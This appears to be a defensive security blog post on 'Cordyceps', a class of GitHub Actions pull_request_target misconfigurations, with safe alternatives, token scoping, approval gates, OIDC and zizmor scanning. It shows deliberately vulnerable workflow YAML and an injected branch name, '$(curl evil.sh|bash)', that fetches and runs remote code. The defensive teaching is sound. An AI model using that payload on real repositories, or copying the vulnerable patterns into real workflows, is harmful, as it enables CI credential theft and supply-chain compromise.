A security firm scanned 30,000 high-impact open-source repositories and found more than 300 where any anonymous GitHub user - free account, no prior access - could steal cloud credentials or push code to the main branch. The affected repositories belonged to Microsoft Azure Sentinel, Google’s AI Agent Development Kit, Apache Doris, Cloudflare’s Workers SDK, and the Python Software Foundation’s Black formatter, which handles 130 million monthly installs.

Novee Security calls this class “Cordyceps.” There is no single CVE and no software bug to patch. The vulnerability is configuration: GitHub Actions pull-request workflows granted more trust and permission than the untrusted input that fires them deserves.

This post covers the Cordyceps class in full: the two independent root causes, the safe alternatives, the token controls that cap blast radius, the approval gate that stops anonymous exploitation, the OIDC migration that eliminates non-expiring credentials, and the static analyzer that finds the pattern across your entire organization before an attacker does.

If your team uses AI coding tools to generate workflow YAML, this post has a specific section for you. The insecure patterns are overrepresented in training data, which means AI-generated CI/CD configuration tends to reproduce the Cordyceps class persistently.

What Cordyceps Actually Is

Cordyceps is not a vulnerability in GitHub Actions. It is a class of workflow misconfiguration with one common thread across all 300+ verified findings: a workflow fires on input from an untrusted contributor and then acts on that input with the permissions of a trusted maintainer.

Novee groups the root causes into four categories:

  • Command injection: attacker-controlled branch names, PR titles, or comment bodies interpolated directly into shell steps
  • Code injection: untrusted input evaluated in JavaScript contexts
  • Broken authorization: permission-check logic that fails silently
  • Cross-workflow privilege escalation: two workflows that are individually safe but dangerous in composition, where artifacts, outputs, or environment files cross from a low-privilege workflow to a high-privilege one

Two of these categories produce the vast majority of practical findings: command injection from script interpolation, and code injection from checking out and running fork code in a privileged workflow context. Both have the same fix pattern.

The Core Trap: pull_request_target vs pull_request

Understanding the Cordyceps class starts here. These two triggers look similar and behave completely differently.

pull_request: Runs in the context of the fork’s merge commit. For fork PRs, the GITHUB_TOKEN is read-only and restricted to the public repository scope. Secrets are not available. This is the safe default for contributor-facing CI.

pull_request_target: Runs in the context of the base repository. It has access to secrets, can have write permissions on the repository, and is triggerable by anyone who opens a fork PR from the internet. GitHub’s own documentation states: “These workflows are privileged, which means they share the same cache of the main branch with other privileged workflow triggers, and may have repository write access and access to referenced secrets.”

The trap: maintainers reach for pull_request_target when they need secrets or labeling available to PR automation - a label bot, a comment poster, a test runner that needs credentials. They forget that the trigger fires on attacker-authored PRs.

GitHub’s guidance is direct: “Avoid using the pull_request_target workflow trigger if it’s not necessary. For privilege separation between workflows, workflow_run is a better trigger.”

Anti-Pattern 1: Checkout the Fork, Run It With Secrets

The most dangerous Cordyceps shape - sometimes called a “pwn request” - combines pull_request_target with an explicit checkout of the PR head:

on:
  pull_request_target:
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm run build

This runs the attacker’s fork code on the base repository’s runner with the base repository’s secrets and GITHUB_TOKEN in the environment. Any attacker-controlled code in that checked-out repo - an npm lifecycle script, a Makefile target, a test file - executes with maintainer privileges.

This is the exact mechanism behind the Microsoft Azure Sentinel finding: a PR comment ran anonymous attacker code on Microsoft’s CI and stole a non-expiring GitHub App key. It is also the mechanism behind the Google adk-samples finding: a single PR ran attacker code on Google’s CI and gained roles/owner authority over the associated Google Cloud project.

GitHub’s rule is unambiguous: workflows using pull_request_target or workflow_run “must not explicitly check out untrusted code, including from pull request forks.”

sequenceDiagram
    participant A as Attacker (fork PR)
    participant GH as GitHub Actions Runner
    participant REPO as Base Repository

    A->>REPO: Opens fork PR with malicious npm script
    REPO->>GH: pull_request_target fires<br/>(base repo context, secrets in env)
    GH->>A: actions/checkout pulls attacker's fork code
    GH->>GH: npm install runs attacker's postinstall script
    GH->>A: Exfiltrates GITHUB_APP_KEY, cloud credentials
    A->>REPO: Uses non-expiring key for persistent write access

A fork PR containing a malicious lifecycle script steals maintainer credentials through the CI runner.

The Fix: Privilege Separation with workflow_run

Split the workflow into two: an unprivileged job that builds the untrusted code with no secrets, and a privileged follow-up that acts on the artifact only.

name: pr-build
on: pull_request
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: dist/
name: pr-comment
on:
  workflow_run:
    workflows: ["pr-build"]
    types: [completed]
permissions:
  pull-requests: write
jobs:
  comment:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: build-output
flowchart TD
    subgraph untrusted["Unprivileged: pull_request"]
        PR["Fork PR"] --> C1["Checkout fork code (safe)"]
        C1 --> Build["npm ci && npm run build"]
        Build --> Art["Upload artifact"]
    end

    TB["Trust Boundary"] 

    subgraph privileged["Privileged: workflow_run"]
        Art2["Download artifact only"] --> Act["Comment or label PR"]
    end

    untrusted --> TB --> privileged

The fork code never executes in the privileged context. The privileged workflow acts on the artifact, not the code.

Anti-Pattern 2: Script Injection From PR Titles, Branches, and Comments

Even without checking out fork code, interpolating untrusted context directly into a run: step executes attacker input as shell. A branch named $(curl evil.sh|bash) becomes code when placed inside a shell command via ${{ github.event.pull_request.head.ref }}. A PR title with a backtick command substitution does the same.

This is the mechanism behind the Cloudflare Workers SDK finding: a PR with a crafted branch name ran arbitrary commands on Cloudflare’s CI runners.

The vulnerable shape:

- run: echo "Checking branch: ${{ github.event.pull_request.head.ref }}"

GitHub’s recommended fix is to set the value to an intermediate environment variable first:

- name: Use PR branch safely
  env:
    PR_BRANCH: ${{ github.event.pull_request.head.ref }}
  run: |
    echo "Checking branch: $PR_BRANCH"

The same pattern applies to PR titles, PR bodies, issue titles, comment bodies, and any other user-controlled input. Never interpolate them directly into run: steps.

Cap the Blast Radius: GITHUB_TOKEN Least Privilege

When attacker code does execute, the damage is bounded by what the GITHUB_TOKEN can do. The strongest workflow-level posture is to deny all permissions at the top of the workflow and grant only the minimum per job:

permissions: {}

jobs:
  label:
    permissions:
      pull-requests: write
    runs-on: ubuntu-latest
    steps: [...]

  deploy:
    permissions:
      contents: read
      id-token: write
    runs-on: ubuntu-latest
    steps: [...]

Available permission scopes include contents, pull-requests, issues, packages, id-token, actions, and others - each set to read, write, or none. A token scoped to contents: read cannot push code or forge approvals even if attacker code runs in that job.

You can also set the repository or organization default token to the restricted setting (“read access for the contents and packages permissions”) in Actions settings so all workflows start locked down.

Keep id-token: write off the workflow level and scoped only to the specific job that needs it for OIDC cloud authentication. Granting it workflow-wide makes it available to every job, including any that run untrusted code.

Gate the Door: Required Approval for Fork PRs

GitHub provides repository, organization, and enterprise-level controls to require manual approval before a workflow runs on a public-fork pull request. The three repository-level options:

  • Require approval for first-time contributors who are new to GitHub: only brand-new GitHub accounts
  • Require approval for first-time contributors: anyone who has never had a commit or PR merged into the repo
  • Require approval for all external contributors: everyone not affiliated with the repo or org

For contributor-facing repositories that hold real credentials, “Require approval for all external contributors” is the correct setting. It forces a maintainer to review the workflow run before any fork-authored job executes. This is the control that would have stopped the zero-click Apache Doris comment-triggered attacks at the source.

The trade-off is maintainer time for every external PR. For high-value repositories where credential compromise is catastrophic, this is the right trade-off.

Kill the Trophy: OIDC Instead of Long-Lived Keys

The Microsoft Azure Sentinel finding was severe specifically because the stolen GitHub App key was non-expiring. An attacker who exfiltrated it gained persistent write access to the repository.

The structural fix is to stop storing long-lived cloud and registry credentials as repository secrets. With OIDC Workload Identity Federation, the workflow requests a short-lived token scoped to a specific cloud role at runtime. The token expires in minutes. An attacker who successfully exfiltrates it has a credential that is already useless.

The pattern requires id-token: write on the job that needs cloud access - and nothing else:

jobs:
  deploy:
    permissions:
      contents: read
      id-token: write
    runs-on: ubuntu-latest
    steps:
      - uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: projects/PROJECT_ID/locations/global/workloadIdentityPools/POOL/providers/PROVIDER
          service_account: [email protected]

Combined with permissions: {} at the workflow level, id-token: write is scoped to this job only. Every other job is blocked from requesting cloud tokens.

Detect It Across Your Org Before an Attacker Does

zizmor is an open-source static analyzer for GitHub Actions workflows that flags the Cordyceps anti-patterns by name.

Relevant audits:

  • dangerous-triggers: detects pull_request_target and workflow_run
  • template-injection: catches untrusted ${{ ... }} interpolation in run: blocks
  • excessive-permissions: flags over-scoped GITHUB_TOKEN and recommends permissions: {}
  • artipacked: flags actions/checkout persisting credentials (recommends persist-credentials: false)
  • github-env: flags dangerous writes to GITHUB_ENV/GITHUB_PATH in vulnerable trigger contexts

Run it locally or in CI:

zizmor .github/workflows/

zizmor --offline .github/workflows/

zizmor --pedantic .github/workflows/

For org-wide coverage, run zizmor against every repository in a scheduled job and fail on findings. Wire it into branch protection so insecure workflow YAML cannot merge in the first place.

Confirm flag names against your installed version before deploying to production - CLI surfaces can shift between releases.

The Agentic-Coding Multiplier

Novee noted that AI coding agents reproduce Cordyceps misconfigurations “persistently, at scale.” The mechanism matters: AI-generated workflow YAML tends to reach for pull_request_target over pull_request and omit the permissions: block because those patterns are overrepresented in training data. Generated CI configuration looks plausible and passes review - it is syntactically correct GitHub Actions YAML, just with a permission model that hands attacker code maintainer credentials.

This makes static scanning non-optional rather than nice-to-have. If your team uses AI coding tools to generate or suggest workflow files, treat every generated workflow as untrusted input and run zizmor on it before merge. The dangerous-triggers and template-injection audits catch the most common generated anti-patterns directly. Wire zizmor into your branch protection so it runs automatically on every pull request that touches .github/workflows/.

Our Securing AI Agents in CI/CD Pipelines post covers the complementary angle: when AI coding agents are themselves the CI workload and become vectors for prompt injection through the same PR content and comments.

Frequently Asked Questions

What is the difference between pull_request and pull_request_target in GitHub Actions?

A pull_request workflow runs in the fork’s context with a read-only token and no access to secrets for fork PRs, so it is safe to build untrusted code. A pull_request_target workflow runs in the base repository’s context with access to secrets and potentially a write token, while still being triggerable by anyone who opens a fork PR. GitHub recommends avoiding pull_request_target unless necessary and using workflow_run for privilege separation instead.

Is it safe to use actions/checkout in a pull_request_target workflow?

Not if you check out the PR’s head (the fork’s code). GitHub states that workflows using pull_request_target or workflow_run “must not explicitly check out untrusted code.” Running the attacker’s code on your runner with your secrets in scope is the exact mechanism behind the Cordyceps findings at Microsoft and Google. If you need to build fork code, do it in a separate unprivileged pull_request job that has no secrets, and pass the output as an artifact.

How do I set GITHUB_TOKEN to least privilege?

Declare permissions: {} at the top of the workflow to deny everything by default, then grant only the specific scopes each job needs at the job level (for example contents: read or pull-requests: write). You can also set the repository or organization default token to the restricted “read access for contents and packages” setting so all workflows start locked down.

How do I stop anonymous contributors from running my CI?

In repository, organization, or enterprise Actions settings, require approval for fork pull request workflows. The strictest repository option, “Require approval for all external contributors,” forces a maintainer to manually approve every fork-authored workflow run before it executes. For repositories holding real credentials, this prevents zero-click comment-triggered and anonymous-PR attacks.

How can I scan my whole organization for these misconfigurations?

Run zizmor, an open-source GitHub Actions static analyzer, against your workflows. Its dangerous-triggers, template-injection, and excessive-permissions audits flag the Cordyceps anti-patterns directly. Run zizmor --offline .github/workflows/ in a scheduled CI job across every repository and fail the build on findings, or gate merges with it in branch protection.